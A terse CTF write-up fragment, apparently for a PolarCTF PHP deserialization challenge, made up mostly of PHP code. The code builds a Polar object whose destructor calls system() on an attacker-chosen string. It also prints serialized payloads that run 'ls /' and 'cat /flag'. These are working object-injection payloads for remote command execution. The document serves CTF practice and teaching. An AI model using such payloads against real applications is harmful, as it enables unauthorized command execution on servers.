1、

2、反序列化

<?phpclass Polar{public $url = 'polarctf.com';public $lt='system';public $b='ls /';function  __destruct(){$a = $this->lt;$a($this->b);}
}$a = new Polar();
echo serialize($a);
?>###O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:4:"ls /";}

<?phpclass Polar{public $url = 'polarctf.com';public $lt='system';public $b='cat /flag';function  __destruct(){$a = $this->lt;$a($this->b);}
}$a = new Polar();
echo serialize($a);
?>##O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";}

得到答案